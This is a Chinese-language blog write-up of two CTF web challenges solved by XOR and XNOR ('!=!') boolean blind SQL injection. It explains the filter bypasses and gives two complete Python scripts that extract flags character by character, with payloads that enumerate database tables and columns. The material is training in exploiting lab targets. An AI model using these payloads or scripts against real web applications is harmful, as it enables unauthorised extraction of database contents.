sql异同或注入总结

3 分钟

前言

最近做题的时候,遇到了两道异或以及同或的题目,一起做个总结。


一、异或和同或

异或就是相同为0,不同为1,当一个数进行了两次相同的异或,等于本身,在mysql中符号为^

同或就是相同为1,不同为0,在mysql中符号为!=!

二、[CISCN 2019华北Day2]Web1 Hack World

进入题目:题目直接给了提示,给出了flag的位置,随便输东西,发现只能输bool型的,输0会出现Error,输1会出现Hello, glzjin wants
a girlfriend,输2出现Do you want to be my girlfriend。

尝试下,发现过滤了挺多东西的,过滤了#、--、空格、//、or、and等。过滤了空格和//可以通过()包括绕过,过滤了注释符,意味着报错,联合注入都不好使,显然是布尔注入,发现可以进行异或或者同或注入。

同或一样可以。id=1!=!0会回显Error、id=1!=!1会回显Hello, glzjin wants a girlfriend。

直接上脚本:



import time
import requests

url = 'http://1.14.71.254:28942/index.php'
flag = ''
for i in range(1, 100):
    min = 1
    max = 130
    mid = int((min + max) / 2)
    while min < max:
        data = {
            #"id": f'0^if(ascii(substr((select(flag)from(flag)),{i},1))>{mid},1,0)' 异或
            "id":  f"1!=!(if(ascii(substr((select(flag)from(flag)),{i},1))>{mid},1,0))"  #同或
        }
        resp = requests.post(url, data=data)
        time.sleep(0.5)
        if 'Hello' in resp.text:
            min = mid + 1
            mid = int((min + max) / 2)
        else:
            max = mid
            mid = int((min + max) / 2)
    flag += chr(mid)
    print(flag)

三、 [NSSCTF 2022 Spring Recruit]babysql

进入题目:提示输入tarnish,输入以后出现String(39)前有flag句,同样尝试tarnish'出现回显走进死胡同,输入#、--出现了过滤的字符。

过滤了/、if、and、空格、#、--字符,又是过滤了注释符,过滤了空格可以使用绕过,这里只能往闭合注入想,首先想到能不能进行异或注入,尝试了一下,怎么都是死胡同,往同或方向靠,结果是可以。

tarnish'!=!1!=!'0 即 True!=!True!=!False==False
tarnish'!=!0!=!'0 即 Ture!=!False!=!False==True

直接脚本:



import requests

asc_str = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!{}'
url = "http://1.14.71.254:28589"
headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0",
           }
result = ''

for times in range(1, 88):
    min = 0
    max = 128
    mid = (min + max) // 2
    while min < max:
        # payload = f"tarnish'/**/!=!/**/(ascii(substr((select/**/database()),{times},1))>{mid})/**/!=!/**/'0" #test
        # payload = f"tarnish'/**/!=!/**/(ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database()),{times},1))>{mid})/**/!=!/**/'0" #flag,users
        # payload = f"tarnish'/**/!=!/**/(ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name='flag'),{times},1))>{mid})/**/!=!/**/'0" #flag
        payload = f"tarnish'/**/!=!/**/(ascii(substr((select/**/group_concat(flag)/**/from/**/test.flag),{times},1))>{mid})/**/!=!/**/'0"
        data = {"username": payload}
        resp = requests.post(url, headers=headers, data=data)
        if 'string(25)' in resp.text:
            min = mid + 1
        else:
            max = mid
        mid = (min + max) // 2
    result += chr(min)
    print(result)

这里有个坑,flag前面有些字符没法显现,搞的我以为脚本错了...

总结

异或和同或注入都归于布尔注入的类型,通过两道题大致可以看出,当过滤了注释符难以使用其它注入时,可以考虑往这方面想。

~  ~  The   End  ~  ~


 赏 
承蒙厚爱,倍感珍贵,我会继续努力哒!
logo图像
tips
文章二维码 分类标签:Web安全CTF
文章标题:sql异同或注入总结
文章链接:https://aiwin.fun/index.php/archives/1095/
最后编辑:2024 年 1 月 5 日 21:03 By Aiwin
许可协议: 署名-非商业性使用-相同方式共享 4.0 国际 (CC BY-NC-SA 4.0)
(*) 6 + 5 =
快来做第一个评论的人吧~